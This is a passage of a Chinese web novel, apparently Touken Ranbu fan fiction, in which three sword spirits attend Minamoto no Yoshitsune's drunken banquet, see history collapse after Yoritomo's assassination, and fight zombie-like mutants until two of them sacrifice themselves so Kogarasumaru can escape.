要是嫌太老或者太小,还可以说自己几十岁了正当壮年时,正是上进的年纪。 啊~他真是天才! 第30章 第三十章 神明啊,请你告诉我 酒过三巡, 大家都喝嗨了,人们早就离开了固定的席位,到处乱跑, 随意攀谈、喝酒。 源义经也趁机拎着一坛酒过来了, 脸上带着红晕, 但双眼明亮,还很清醒。 千子村正眼疾手快给小乌倒了一杯茶替换掉他的酒。 如他所料,源义经过来后第一个行为就是拿着酒坛招呼他们喝酒。 小乌这才知道千子村正突然动作的目的。 他端起千子村正给他换的茶和源义经敬完酒,朝千子村正感激地抿嘴笑了笑。 源义经热情地举起酒坛跟他们三刃挨个碰杯:“三位今晚可还尽兴?在下敬三位一杯!” 源义经说了些感谢的话语, 在言语中避开了会暴露他们身份的细节。 “客气,客气。” 鹤丸国永笑眯眯地举杯回应。 哎呀, 这酒的味道真是令刃怀念啊。 源义经在矮桌前盘腿坐下, 将酒坛放在一旁,和三刃聊得有来有往。 小乌没接触过这种交际 ,只能在旁边默默喝茶吃东西,点头附和。 源义经目光炯炯,总是往他这看。 怎么老看他。 小乌受不了,抬头和他对上视线。 这一动作似乎让源义经误以为是什么准许, 凑近了些。 源义经:“可否问阁下一个问题?” 小乌:“可以。” 源义经关切的目光落在他身上:“阁下的人身” 他想尽量让自己的话更委婉一些:“似乎更另外两位相比更为年幼, 可是当年有哪里没有修复好?” 也不怪源义经这么想,鹤丸国永和千子村正一把太刀一把打刀, 都是青年的模样。 而他们两个刃的身高在这个时代其实也是相当傲人的, 源义经认为非常威武, 也就自然而然觉得身为源氏重宝的小乌不应该会比他们更差, 一定是有什么原因才导致外表过于年幼,和他的理想中英武的身姿不符。 小乌听到他的话心里猛的一咯噔。 他下意识代入了他被屏风压断刀尖的伤口,背后出了一层冷汗后才反应过来源义经是不知道他的真实身份的。 所以源义经指的应该是他冒充的那把刀。 真是个可怕的巧合。 那把刀居然也受损并被刀匠修复过吗? 差点就以为真实身份被发现了。 源义经还在继续说:“如果需要的话, 在下可以为您寻找技艺高超的刀匠帮您再修复一下” “咳。” 鹤丸国永在旁边假装被酒呛到咳了几声。 小乌定了定心神。 “不用了。” 小乌连忙拒绝他,告诉他的人身形态一直都是这样的。 “多谢义经公的关心,我很好。” “是吗,那就好” 好吧。 源义经遗憾,他理想型付丧神原来一开始就不存在 虽然对神明有些大不敬,但是他真的很欣赏千子村正强壮的身材。 嗯如果衣服能正常些就更好了。 有点暴露了。 源义经哈哈笑了两声,立刻转移话题:“来来来!今天高兴,诸位务必吃得尽兴,喝得畅快!再喝!酒水管够!我们不醉不归!” 源义经豪迈地给他们倒酒,自t?己也吨吨喝。 鹤丸国永立刻响应,端起酒碗干杯,还能妙语连珠地活跃气氛。 两人就这么拼起酒来。 小乌在旁边偷梁换柱,喝的全是茶,鹤丸国永拉着千子村正一起加入拼酒。 千子村正一开始还不太放得开,鹤丸国永和源义经便在旁边煽风点火,后面酒意上头,也起了好胜心,一碗接一碗,吸引了周边人的注意力,纷纷围过来叫好。 宴席的氛围在酒精和喜悦的催化下,越来越热烈。 三人拼酒拼得热火朝天,周围围满了看热闹不嫌事大和同样醉醺醺的人们,起哄声、叫好声、鼓掌声此起彼伏。 小乌捧着茶坐在外围,看着三人像喝水一样一碗接一碗地往下灌酒,心里开始打鼓。 喝这么多没问题吗?他都害怕会酒精中毒 话说付丧神会喝醉吗? 小乌想想抱着甘酒不断打酒嗝的不动行光和嗜酒如命的次郎太郎。 好像是会的。 他担忧的目光在鹤丸国永和千子村正之间来回扫视。 鹤丸国永脸红了,他的皮肤特别白,显得面色变化特别明显,但嘴角那抹促狭的笑意看起来人还是清醒的。 千子村正就不是很妙了,声音有些含糊,眼神也开始发直,将空碗重重往桌上一放,发出咚的一声响。 “好!” “爽快!” 千子村正就这样在夸赞声中迷失了自我 等鹤丸国永和小乌发现他在做什么的时候已经来不及了。 “呼呼呼呼——” 千子村正大笑而起,在众目睽睽之下脱光了上半身的衣服。 “!!!” 小乌手里的茶杯掉到了地上。 终究是让他脱成了 啊啊啊啊啊! 不要这样! 喧闹的大厅安静了下来,所有人的目光都聚集在千子村正身上。 千子村正毫无羞耻之心,反而意犹未尽。 他一边喊着什么解放自我啊,展示魅力啊,互相脱光了解什么的就开始脱裤子。 “快拦住他!” 众人开始涌上前去阻止他遛鸟。 场面一片混乱,鸡飞狗跳。 小乌挤到一动不动的鹤丸国永身边,摇了摇他,胆战心惊。 “鹤丸!你快管管他啊!” 鹤丸国永按着他的手,表情看起来很镇定,让小乌放心了些。 看来鹤丸国永还是很靠谱的 鹤丸国永点头。 然后脸上绽放出灿烂的笑容,他脱下了外套光着膀子冲了过去。 “好耶!脱得好!” 他抓着外套像甩马鞭一样舞起来。 “太有趣了!一起来快活啊!” 小乌; 很好,这家伙也喝醉了。 小乌感觉自己的心已经死了。 源义经是个狠人,心理接受能力极高,他一拍大腿,加入其中。 “哈哈哈哈哈啊!说得好!此刻宴饮欢聚,皆是袍泽兄弟,何须遮遮掩掩!就应该坦诚相见,肝胆相照!” 源义经豪情万丈,同样把上身了个精光。 有源义经带头,所有人都沸腾了,那些喝得找不着北的士兵们怪叫着,纷纷效仿,一时间满大厅都是光着膀子的壮汉,甚至还有人脱得只剩兜裆布。 “哦哦哦哦哦——!” “大人说得对!” “脱!都脱!” 他们勾肩搭背,载歌载舞,大声唱着不着调的歌。 小乌只觉得眼前一黑,快晕过去了。 这地方真是待不了一点! 他死死低着头,他看不得那无数在他面前晃动的、赤裸的□□,其冲击力之大让他的灵魂都在颤抖。 救命 这是地狱吗 如果就是吃到美食的代价 那他还是能忍忍 庆功宴结束没两天,三刃便收拾好了行囊,带上义经公给的一些钱财准备启程去为蜻蛉切扫墓。 但他们没走出多久,便有使者骑着马追了上来。 “三位留步!九郎判官有请!十万火急!” 看着使者脸上的焦急,几人面面相觑。 源义经又找他们做什么? 小乌还没忘他假扮源氏重宝的事呢,心虚得很,想先探探口风,生怕源义经是发现了他的身份,把他骗回去给宰了。 使者不知,只知道源义经非常急。 好吧。 他们只好带着满腹狐疑,跟着使者又匆匆回到了源义经的府邸。 回到府邸,先前喜气洋洋的气氛一扫而光,取而代之的是令人心生惶恐的压抑。 仆人们个个脚步匆忙,却不敢发出半点声响。 使者领着他们到源义经所在的房间门口便退下了,让他们自己进去。 他们进入房间,源义经正独自一人坐在窗边,不似平日的挺拔和意气风发,反而有些佝偻。 他们已经进了屋子,没有刻意放轻脚步声,但源义经似乎并没有发现他们的到来。 “大人?” 鹤丸国永试探地唤了一声。 源义经猛地转身。 那张年轻的脸庞此时毫无血色,眼窝深陷,布满了血丝,嘴唇颤抖着,没有了精神气。 小乌从未见过源义经如此失态的一面,当初腿上的伤已经深可见骨,他都能面不改色地战斗,不显颓色。 “这是怎么了?” 鹤丸国沉声问道。 源义经无视了鹤丸国永和千子村正,像是抓住了最后一根救命稻草,踉跄着扑到小乌面前,双手死死抓住小乌的手臂。 小乌吃痛,感觉他的这已经不是抓了,而是掐,指甲深深地隔着布料嵌进了他的肉里。 “兄长兄长他” 源义经开口,声音嘶哑,如果声带在砂纸上摩擦过。 “遇刺身亡了!” 轰——! 短短几个字,惊雷般劈中三刃。 源赖朝遇刺身亡了? 那个在历史上建立了镰仓幕府,开创武家政权新时代,成为日本第一位幕府将军、权倾一时的源赖朝现在就死了?! 怎么会? 小乌正要脱口而出,却又被鹤丸国永在背后拧了一下,把话咽了回去。 小乌:“?!” 鹤丸国永不让他说话一定有他的道理。 小乌忍住惊呼,不让自己的面上露出任何表情,这在源义经看来就是他对源赖朝的死亡一点反应都没有,仿佛是意料之中。 源义经几乎快被兄长突如其来的死亡逼疯了,眼神空茫,六神无主,语无伦次地问道:“为什么?为什么会这样?” 他身体缓缓下滑,跪在小乌的面前,恳求地仰头望着他,将希望寄于面前的神明身上。 “神明啊,请您告诉我,我的兄长的死亡是命中注定的吗?!” 30-40 第31章 第三十一章 扭曲的世界,荒谬的历史…… “还是、还是和我之前遇到的那些怪物有关呢?兄长他他怎么会这么突然地离开我呢?我们兄弟明明还未相聚, 为什么!” 他痛哭着,向属于他们源氏的神明寻求指引。 小乌嘴唇微涨,说不出话来。 这个人把他当作神明一样祈求着。 他的目光让他的脊梁仿佛被压上了千斤重。 但他能怎么说呢? 源赖朝不合常理的死亡让他马上意识到是时间溯行军的作为。 说并不是, 这是个意外? 源赖朝不仅会活得很久, 未来还会猜忌你, 和你兄弟相残,把你逼死? 还是说确实是那些追杀你的怪物们做的,他们是企图改变历史的敌人? 我明白了。 小乌突然理解了鹤丸国永刚刚阻止他开口的原因。 在源义经看来消灭那些怪物是我们的职责,如果告诉他源赖朝的死是时间溯行军所为, 他也许会将源赖朝的死全部推到他们头上,认为是他们的失职。 如果他将怒火转移到他们的头上, 他们现在在源义经的大本营中, 也许无法活着走出这个门。 那么他现在该怎么做? 他现在的任何变化在源义经面前都一览无余,不可能向旁边的同伴寻求帮助,让他们告诉自己怎么做。 自己想。 小乌:“” 小乌:“是的。” 别怪他。 小乌的眼睫颤了颤,吐出了他自己都觉得难以置信的话语。 小乌:“赖朝公的死亡是历史中注定的。” 同伴的性命更加重要,所以只能放弃你了,义经公。 小乌身后的两人听到小乌的话后无声地笑了。 真是令人吃惊的成长。 赖朝公的死亡, 在他们决定保护义经公, 而不去管远在镰仓的源赖朝时就早有预料。 所以他们根本不惊讶这种事的发生,反而有一种“终于来了”的放松。 但小乌不理解, 他是真的没有什么准备。 他之前t?虽然对此抱有怀疑, 但是他太相信鹤丸国永和千子村正两刃的决策了, 不愿意去细想, 而是盲目地觉得既然是他们的决定那么一定不会发生。 所以他能在这种猝不及防的情况下,意识到当下的局面,并且在身后的同伴提供帮助时, 独立思考,快速地做出正确的抉择和回答。 证明小乌已经合格了。 赖朝公死亡,这个世界的历史已经没有了维护的必要,所以他们不必再和这个时代的人多有接触。 他们要做的事已经不再是维护历史了。 而是—— 鹤丸国永和千子村正的笑容转瞬即逝,没让源义经发现。 鹤丸国永上前为小乌的话做补充:“没错,义经公,现在不是沉溺于悲痛的时候!赖朝公的伟业尚未完成,当务之急,应该速速去镰仓接手赖朝公的势力,不要让他辛苦经营的一切落入他人手中。” “然后,去为赖朝公报仇吧。” ——加速历史的崩坏。 听到鹤丸国永的话,小乌知道他做对了。 呼。 千子村正也附和道:“您是赖朝公的弟弟,赖朝公已逝,唯有您能站出来继续完成他的理想。” “对对!”源义经神经质地重复着,“你们说得没错不能让兄长的努力白费,我这就去、这就去!” “我要让杀了兄长的人,血债血偿!” 他完全忽略了还站在房间的三刃,含糊地喊着些什么便冲出了门。 小乌转身和两刃沉默以对。 鹤丸国永:“走吧,此地不宜久留。” 三刃也不从正门离开了,防止节外生枝,他们直接取最近的直线,避开府邸内的杂役和士兵,翻墙逃走。 他们用着源义经给的钱财购买了一些生活物资,在平安京的郊外找了一处落脚地,依然偷偷观察着源义经的动向。 “我们接下来该怎么办呢?” 小乌满心茫然。 大家为了能够得到救援,拼尽全力地维护历史,甚至还失去了一名同伴,坚持了这么久,到头来还是前功尽弃。 现在是从源义经那里逃出来,勉强过了一关。 那接下来呢? 他们只能在这里等死了吗? 历史已经不可挽回,这个世界未来将会怎么发展呢? 鹤丸国永递给他一杯茶和一份羊羹。 源义经给的钱财还挺多的,鹤丸国永和千子村正在采买的时候也变得大手大脚起来,还买了茶叶和茶点。 负责管钱的小乌没心思管这些,也由着他们买去了。 唉,吃吧,多吃点好的。 小乌悲观地咬下一口羊羹,被甜得头皮发麻,连忙配了一大口茶。 好腻,他果然还是不太喜欢吃甜点。 鹤丸国永:“还记得我们刚遇见时,跟你提过离开这个时代的两种方法吗?” 两种? 小乌想了半天,只想起来他们说了维护历史等待时之政府救援的方案,另一种死活想不起来。 是什么来着? 嗯 啊! 小乌迟疑地说:“是那个下下策?” 千子村正:“没错,这个方案是为维护历史失败的可能性而准备的” 千子村正:“如果一条时间线的历史崩坏到无法挽回,那被时之政府检测到的概率是非常大的。” 小乌听到这里并没有变得开心,因为既然是被他们定性为希望不会用到的方案,那么其中所要付出的代价一定是巨大的。 鹤丸国永接话:“但是,这也意味着这个时间线已经没有被拯救的必要了,所以时之政府几乎是不可能会派人来的。” 他们只会将这条无用的时间线截取分离、冻结已经改变的时间,最后遗弃。 这个世界被遗弃后,一切都会变异,包括人,他们接下来要做的就是在等到这个时间线被遗弃后,在这些异变中活下来,找到被堵住的时间流出入口,从那个地方逃出。 所以在面对源义经时,他们开始推动历史快速地走向崩坏。 原来是被遗弃的世界 小乌理解了。 玩游戏的时候有出过好几个关于被遗弃的世界的活动,但和游戏不一样的是,现实中的世界被遗弃就是被遗弃了,不会有玩家来拯救这个世界 又开始拿游戏做对比了。 这可是现实啊。 还是忘了游戏吧。 小乌警醒自己 源义经带人去往了镰仓。 他虽然在名义上继承了源赖朝的地位,但是由于缺乏政治根基,北条时政掌握着关东武士集团的核心力量,以源义经擅自接受朝廷官职的理由拒绝效忠,甚至煽动叛乱。 藤原秀衡主动归附源义经,形成倒戈。 没了源赖朝的制衡,源义经在北条时政的眼里不过如此,他的野心膨胀,和源义经展开了斗争。 源义经压制不住北条氏,处于颓势。 藤原氏倒戈,反噬源义经方势力,源义经四处逃窜。 没有什么征夷大将军,也没有什么镰仓幕府。 小乌三刃就这么默默的,在暗处看着历史的走向朝着深渊滑落。 真是个荒谬的世界。 这个世界没有了源赖朝,但是还有北条时政,源义经倒是兜兜转转又回归了原本的命运,过程却又更加惨烈些。 源氏内部的分裂与北条时政膨胀的野心,如野火燎原,更是给了源义经致命一击。 曾经意气风发的少年将军,最终还是在北条时政的步步紧逼下,如同历史记载的那样,在追杀下自尽而亡。 取而代之的,是北条氏时政在混乱中攫取了全力,率军进驻平安京,以胜利者的姿态,意图开启一个属于他的全新时代。 北条时政正骑在高头大马上,在一众亲卫的簇拥下,志得意满地巡视着这座城市。 他享受着这种俯视众生的快感,嘴角噙着笑意。 就在他开口的瞬间—— 风停了。 窗棂上飘落的尘埃凝固在半空。 屋檐边滴落的水珠被拉成一条细长的线,将落未落。 所有的声音都消失了。 北条时政脸上的笑容僵在那里,□□的马匹保持着扬蹄的姿势,就像一座雕像。 时间仿佛被按下了暂停键,只剩下死一般的寂静,笼罩着这个世界。 “来了!” 蹲守在北条时政附近的小乌三刃猛地站起身。 时间流出入口最有可能出现在此时运道最强之人的附近,所以在源义经落败、自杀后,他们就一直暗地里跟踪北条时政。 他们开始行动起来,寻找出入口。 然而仅仅持续了几个呼吸,街上的人们又重新动了起来。 这个世界好像又重新以极其疯狂的方式活了过来。 “呃啊——!!!” “吼——!” “嗷啊啊啊啊!!!” 嘶吼声不断从这座城市的各处爆发。 街道上的人类统统变得面目狰狞! 他们两眼翻白,血管暴突,喉咙里发出野兽一般的吼声,行动间肢体不正常地扭曲着,简直就像小乌看过的那些末日作品中的丧尸一样。 他们举起了手中的物品,又或是徒手,开始和旁边的人厮杀起来。 不论对方是亲人,还是从未有过交际的陌生人,都毫不留情地痛下死手。 父子相残,夫妻互嗜。 异状出现前还在维护秩序的士兵,转身就提起武器砍向同伴。 整个平安京瞬间化作了人间地狱。 鲜血涂满了大街小巷。 只有少数人还残存着理智,他们的脸上写满了惊骇,试图向城外奔逃,但转眼间不是被变异者们杀死,就是逐渐失去理智变成它们的一员。 街道早已挤满了疯狂的变异者,他们嘶吼着、咆哮着,前仆后继地扑向他们三个神智清醒的刃。 他们在变异者们的眼里似乎是黑暗中唯一的光源深深地吸引着他们,飞蛾扑火般涌来。 第32章 第三十二章 我会将你们的前路,照的一…… 三刃背靠着背组成三角, 一点点地在拥挤的巷子里挪动,实在是太挤了,对打刀和太刀都不是很友好, 三刃身上添了不少伤痕。 好在不是真的丧尸, 被抓伤后不会被感染。 “有找到入口吗?” 鹤丸国永的袖子吸饱了血水, 黑得发红。 “没有!” 千子村正烦躁得很,原本预想中的出入口居然没有出现在北条时政附近。 如果不快点找到,他们就全得折断在这里。 小乌挡开侧面袭来的斧头,铁器之间摩擦发出令人牙酸的声响。 他还来不及稳住身形, 又一个怪物张大嘴冲向他,小乌只能就地一滚, 沾着一身的血污才勉强躲开, 刀刃上挑穿刺了它的下巴。 浑身腥臭让他几欲作呕。 他们决定再扩大范围寻找,维持t?着阵型一步一步推进,异常艰难。 “啊!救命!救救我!” 求救声传来。 竟然还有清醒的人?! 只见北条时政连滚带爬地冲过来。 他早就没有了变异前的威严和得意,涕泪横流,鼻涕和眼泪糊作一团。 他看到正浴血奋战的小乌他们,爆发出惊人地求生欲, 硬生生挨了好几下攻击, 跑到了他们面前寻求庇护。 他华丽的衣袍被撕得破破烂烂,露出的皮肉还带着几道鲜血淋漓的伤口。 “救救我!救救我!”他哭嚎着, 手脚并用地爬过来, 目标明确地抱上了三刃中看起来体格最强壮的千子村正的腿。 “你们想要什么都可以!钱财、地位、女人!只要救了我, 我什么都可以给你们!都给你们呜啊啊啊啊——” 千子村正:“呃!!!” 他被北条时政拽得一个趔趄, 被变异的士兵一刀砍在腰腹上。 千子村正:“给我松手!别碍事!” 千子村正一刀劈开面前的怪物,用力甩了甩腿,被北条时政死死缠住, 居然没甩掉。 不仅没甩掉,还抱得更紧了,整个身体的重量都挂在他的右腿上——北条时政已经吓到腿软,一点支撑的力气都没有了。 千子村正感觉自己的裤子都快被扯下来了。 千子村正被缠上,艰难维持的三角瞬间被拖垮。 “给我滚!” 鹤丸国永冷着脸来到千子村正身边,毫不留情地一脚踹向哭号了一会便突然就没了动静的北条时政,想把他从千子村正的腿上弄下来。 没想到这一脚还没落在北条时政身上,北条时政先变异了。 他的嘴张得极大,撕裂了嘴角,开口至耳朵,似乎能直接把鹤丸国永整只脚都直接一口咬下来。 “小心!” 千子村正无暇顾及他腿上的北条时政,鹤丸国永来不及收脚,小乌在一旁看得胆战心惊。 小乌一咬牙,提起本体赶在鹤丸国永面前,刀刃擦过他的鞋侧,捅入那张嘴中,直接从后脑贯出。 变异的北条时政脑袋挂在他的本体上,小乌顺势把本体往天上甩,一使力便把它甩飞了出去。 “呼” “呼呼” 千子村正和鹤丸国永同时松了一口气。 北条时政也死了。 逃生出口却始终没找到。 “继续找!” 鹤丸国永没有停顿,指挥他们继续行动。 无论如何他们都不能在这里停下! 他们不知道出口在那里,只能像无头苍蝇般到处乱撞。 千子村正捂着腰腹,鲜血不断地从指缝渗出,更加刺激着变异者的攻击。 小乌和鹤丸国永围着重伤的千子村正,呼吸都粗重了很多。 不停地战斗、战斗、战斗。 伤越来越严重,体力也流失了很多。 哪怕小乌一边战斗一边用灵力治疗,也完全跟不上消耗的速度。 “上房顶!” 鹤丸国永当机立断。 千子村正伤在腰腹,不是很方便,于是小乌先跳上房顶去拉他一把。 就在千子村正跃起时,下方一只枯瘦的手拉住了他下摆的布料,紧身的出阵服被扯紧,勒到伤口。 千子村正闷哼一声,身形一滞,向后仰去。 小乌想也不想,身体比反应更快,扑到屋檐边缘左手拽住他,右手割断了那只手。 “多谢!” 鹤丸国永在底下用背部托起千子村正,千子村正借力蹬了一下,这才翻上屋顶。 还好赶上了。 小乌心有余悸,要是千子村正摔下去真的就不一定能再爬上来了。 鹤丸国永也在之后跳上了屋顶。 变异者们在屋檐下抓挠着墙,不懂得如何爬上屋顶,让他们得以喘息。 但他们上了房顶也不好受,因为变异者们不会爬房顶,但是会扔手边的工具 他们休息了一会,被赶着继续在屋檐上奔跑。 好在平民的房屋都是很平整地连接在一起,没有再给他们增添什么难度。 天渐渐变黑了。 黑夜中亮起了五颜六色的光带,带着玄妙的花纹,就像在黑幕中作了一副华丽的浮世绘。 鹤丸国永和千子村正在黑暗中磕磕绊绊,小乌自发地在前面担任领路人。 小乌不知不觉走上了一条熟悉的道路。 这里好像是 小乌眺望远方。 是通往源义经旧邸的道路。 他看到了大门。 曾经灯火通明,举行过庆功宴的府邸此时大门紧闭,门口倒伏着几具尸体。 看起来破败不堪,随着源义经的死亡而落拓了。 但小乌总觉得有哪里不对。 那里有奇怪的能量波动。 小乌疲惫的四肢仿佛又重新生出了力气,带着鹤丸国永和千子村正向大门跑去。 这条街的变异者已经厮杀了好一阵子,反而更空一些数量不多。 跟紧追着他们的变异者不仅丝毫不减少,反而还越来越多,甚至随着变异的加深,行动越来越敏捷。 他们本来在屋顶畅通无阻,速度应该要比小巷里面人挤人的速度要快得多。 但变异者速度加快后追得越来越紧,这条街很快也会被变异者占据。 小乌嘱咐鹤丸国永和千子村正先别下去,自己跳下去查看能量波动最明显的大门。 他扒拉着门缝朝里面看,引入眼帘的不是府邸里面的景色,而是一个黑色的漩涡。 小乌:! 小乌心里充满了绝处逢生的喜悦,立即回头朝他们喊:“找到了!是不是这个?” 鹤丸国永和千子村正马上跟下来。 小乌把沉重的大门推开。 扭曲的黑色漩涡赫然出现在三刃的眼前。 但是它在不断地向内坍缩,只能容下一人通过,不快点进去的话就来不及了。 “嗷嗷嗷!” 变异者的大部队也已经追上来了。 “快!快点进去!” 小乌推搡着伤势颇重的千子村正,想让他先进。 然后又来拉鹤丸国永:“鹤丸!你也快进去,我身形最小,最后进。” 鹤丸国永没有动,他把小乌推向时间流出入口的方向,自己则是抽出了本体转向了黑压压一片的变异体。 “鹤丸?!” 小乌和千子村正不可置信。 “我来拖住它们,你们走。” 鹤丸国永背对着他们,小乌和千子村正都看不到他现在是什么表情。 千子村正:“你干什么?!还不快过来?!” 小乌不知道为什么找到了时间流出入,鹤丸国永却没有要走的意思,只能一遍遍喊他:“鹤丸?鹤丸!快走啊!我们不需要你挡在前面,只要快一点我们都能走!” “闭嘴!快滚!” 鹤丸国永头也不回地怒吼。 他的刀已经迎上了第一波变异者,刀光如匹,一个呼吸间斩断两颗头颅,但更多地变异者朝他袭来,试图越过他一人组成的防线。 鹤丸国永:“千子村正!带着他走!” “要走一起走啊!为什么不走?” 小乌的眼泪涌出,模糊了视线。 千子村正犹豫了一下,却没有像小乌一样呼喊鹤丸国永,而是狠心拖着小乌往出口去。 小乌明白现在应该抓紧鹤丸国永争取来的时间,没有挣扎,但是到了漩涡的面前,他又后悔了。 说到底时之政府那里有他没他都是一样的,他也没有什么理想,什么目标。 他只是想和这两个一路护着他、教导他的同伴一起活下去。 他想和他的家人一起活下去。 如果这个愿望都没办法满足的话 “不——!千子,你先走!” 小乌挣扎起来,把千子村正往漩涡那边推,自己要往鹤丸国永的方向跑。 “不走了!我不走了!要死一起死在这里好了!” 他被反应过来的千子村正拦腰抱住,吼啊哭啊,嗓子眼里全是血腥味。 鹤丸国永听到了小乌的话,染血的嘴角弯了一下。 对不起啊 他死死咬住牙关,将喉头翻涌的血腥气咽下。 他当时虽然从那个本丸逃出来了,但实际上并没有什么求生欲了。 是后来遇到了村正们还有小乌等同伴,同伴们相互扶持的日子让他有了动力,那份想要保护同伴的心让他继续活了下去。 他曾经也有过和同伴一起逃出这个时代,回到时之政府的想法。 但他的暗堕太深了,已经无药可救。 他还记得,坛之浦合战前一天源义经遇袭,时间溯行军在被他们逼退后,临走时的吼叫声。 没有人听懂时间溯行军当时在说什么。 除了他。 那个时间溯行军在对他说—— 你,快要成为我们的一员了。 那时候他明白了。 他快撑不住了。 那不如让我最后享受一次战斗吧。 鹤丸国永这样想着。 用他这条命实现最后的价值,为同伴们劈开一条生路。 他本来是想在送走了t?同伴们之后再这么做的,不给同伴留下过于痛苦的回忆,但现在看来,当下的形势不太容许他做选择呢。 要给你们带来不好的惊吓了啊。 鹤丸国永有些苦涩地想到。 但是他还是很满足的。 能保护他们到最后真好啊 要是当初在本丸,他也能像这样保护好自己的同伴就好了。 没有关系。 鹤丸国永在心中对着两刃低语。 我只是个分灵,折断并不意味着死亡,只是回归了本灵而已。 虽然本灵能接收到多少,但是他一定会尽他所能,将这份记忆和情感传递给本灵。 之后遇到困难就去找他的本灵吧。 我会将你们的前路,照得一片雪白。 “咔嚓。” 本体出现碎裂的声音。 鹤丸国永闭上了眼。 “鹤丸国永!!!” 鹤丸国永,碎刀。 第33章 第三十三章 再遇源氏兄弟 “鹤丸——!!!” 小乌的哭喊撕心裂肺。 他眼睁睁地看着那道始终屹立在他的前方的背影被变异者的狂潮所淹没。 千子村正沉默, 但实际上只要听他的呼吸声,都能发现他连呼吸都在颤抖,眼里渗出水光。 但他还是不顾自己腰腹间狰狞的伤口, 一把提起小乌扛在肩上, 往漩涡跑去。 千子村正:“走!别让鹤丸的牺牲白费了!” 小乌的视野拔高, 但放眼望去依然只能看到下方无数扭曲的肢体和翻白的眼睛,看不见想见的人的身影。 鹤丸国永只有一个人,不少变异者还是越过了他的方向追来。 小乌一颤,被抽掉了全身的骨头一般, 停下挣扎。 入口已经变得极其狭窄,仅能勉强容纳一人侧身挤入, 千子村正扛着他是过不去的。 小乌正想张口让千子村正放下他, 让他先进,却没想到千子村正根本没打算停下奔跑,而是把他举起投掷了出去。 小乌:“???!!!” 小乌:“千、千子——?!” 小乌始料未及,腾空飞起,大脑一片空白。 他惊慌失措地向前伸手去抓千子村正,手指划过手背温热的皮肤。 但, 什么都没能抓住。 “千子?” 小乌很茫然, 他看到千子村正脸上释然又隐含歉意的笑容。 “千子千子千子!” 小乌在半空中不住地叫他。 为什么? 为什么为什么为什么? 小乌不理解。 你们都要丢掉我吗? “你们都要丢下我吗?!” 小乌的身体已经没入了一半,触碰到漩涡就像陷入了泥沼一样, 强大的吸力正将他往里吸, 他无法挣脱, 只能瞪大眼睛看着千子村正。 “我还没去看过蜻蛉切呢” 千子村正微笑着对他说。 “我会去帮鹤丸的, 别担心。我们只是分灵,碎刀后会回归本灵。” 他顿了顿,承诺道:“我们不会丢下你, 只是先一步回到本灵那里等你而已,我们三个早就是家人了啊。” “去吧,我们在本灵那里等你回来。” 世人误解他千子村正,认为他是妖刀,传播着不负责任的谣言。 所以他对人类本身并未抱有太大期望。 在被抛弃后,他更是对人类心灰意冷,没有了蜻蛉切的陪伴,他对回时之政府并没有什么执念。 作为一把实战刀,碎在战场上是他的宿命,他觉得这样也很好。 小乌不一样,他是本灵,碎了就是碎了,再也不会出现小乌这把刀。 他还是希望小乌可以创造出属于自己的故事,让世人都能认识到这把刀真正的本质,不再受谣言的困扰,让人们提起他的时候不会提他是髭切的仿刀,而是“啊这是把锋利的好刀”这样的话。 小乌:“可那不是你们啊!” 回了本灵,就不再是我认识的鹤丸国永和千子村正了! 漩涡拖拽着小乌,出入口在眼前缓缓闭合。 小乌看着千子村正决然转身向鹤丸国永消失的方向跑去,无论怎么呼喊都不曾回头。 最后,黑暗吞噬了他 时间和空间的概念在时空乱流中崩解,只剩下令人窒息的挤压感和失重感,小乌感觉自己就像一片被卷入风暴的树叶,在一片虚无中浮沉。 他只好躲入本体内。 不知道过了多久。 震感将他的意识唤醒。 他的本体从高空坠落,直直插入了泥土中。 小乌的意识上浮。 四周是茂密的树林,参天的古木枝叶交错,遮蔽了大部分天光,只有稀疏的光斑穿过缝隙,散落下来。 四周安静得可怕。 小乌呆在本体里一直没有出来。 阳光的光斑在林中缓慢移动,由明亮变成昏黄,最后消失,虫鸣代替了鸟鸣。 一夜过去,晨光熹微,森林再次被照亮。 小乌的本体依旧一动不动地插在泥土中。 露水凝结在刀拵上,随着重力滑落,如同无声的泪。 又是整整一天过去。 直到一只小鸟好奇地落在了小乌的刀柄上,啄了啄,又扑棱着翅膀飞走了。 小鸟的动作仿佛触动了某个开关。 小乌终于不再自我蒙蔽地沉睡。 他的灵力在这几天已经回复到了最佳状态。 小乌化出了人形,灵力自发凝结而成的樱花花瓣飘落在泥土上,又渐渐消失回归他的体内。 “鹤丸?千子?” 小乌眼神空茫地呼唤道。 这里的环境看起来和之前生活的环境并没有太大差别,让小乌总觉得鹤丸国永和千子村正只是像以前一样出门了,很快就会回来。 无人回应,只有风吹树叶的沙沙声。 小乌又呆呆地站了好一会,才慢吞吞地走到一棵大树下,抱着膝盖坐了下来。 他把下巴搁在膝盖上,目光放空,望着前方。 等一等。 再等一等。 他们很快就会来找我的 小乌就这么坐着,一动不动。 天色从明亮到暗淡,陷入黑暗。 他依旧是那个姿势。 露水打湿了他的头发和衣服,夜行的野兽在远处发出低吼。 没关系,他很擅长等待,在海里千年的时光都是这么忍耐过来的。 直到天边再次泛起鱼肚白,照亮他苍白的脸颊上,已经干涸的泪痕和暗沉的双眼。 小乌僵硬地站起来,双腿因长时间的蜷缩而麻木刺痛,浑身的骨头在嘎吱嘎吱响。 他认清现实了。 鹤丸国永和千子村正再也不会来了。 他开始漫无目的地行走。 虽然这个地方似乎不存在人类生活的聚集地,但好在小乌在平安时代也学到了不少生存技巧,此时照顾好自己是完全没问题的。 饿了就自己打猎,渴了就找溪水喝,累了就找一个山洞休息。 衣服可以用灵力刷新,也省得小乌为换洗衣物发愁。 晚上在山洞中无事可做的时候,小乌就掏出了一直随身携带的御守。 髭切给他的御守虽然已经被用光了灵力,但是他可以用自己的灵力填补进去。 金色的光芒在御守表面流转,干涸的河床迎来了久违的甘霖,御守变得焕然一新。 真神奇,不知道是用什么材质做的。 而且很能装。 小乌连续输了好几天才把这个御守充满。 也不知道他到底被时间流出入口传送到了哪里,也过于原始了,连人的影子都没有,更别提找到前往时之政府的道路了。 直到他遇见了一振髭切。 ——重伤的髭切。 小乌正沿着溪流前进,听到属于人的脚步声和喘息声后立刻警觉起来,迅速找了一棵树爬上去,隐匿起来。 他小心翼翼地拨开眼前的枝叶,向下窥视。 一个熟悉的身影踉踉跄跄地从灌木丛中走出,每一步都显得异常艰难,让人怀疑随时都会摔倒。 “砰!” 真的摔倒了。 那个身影小乌再熟悉不过了——他是髭切。 但此刻见到的髭切和他记忆中判若两人。 洁白如雪的军装上满是血污,新鲜的、陈旧的血渍层层叠叠,将白衣都染成了红色。 金发凌乱地贴在汗湿的额头上,嘴唇苍白干裂,脸色也很难看,很疲倦。 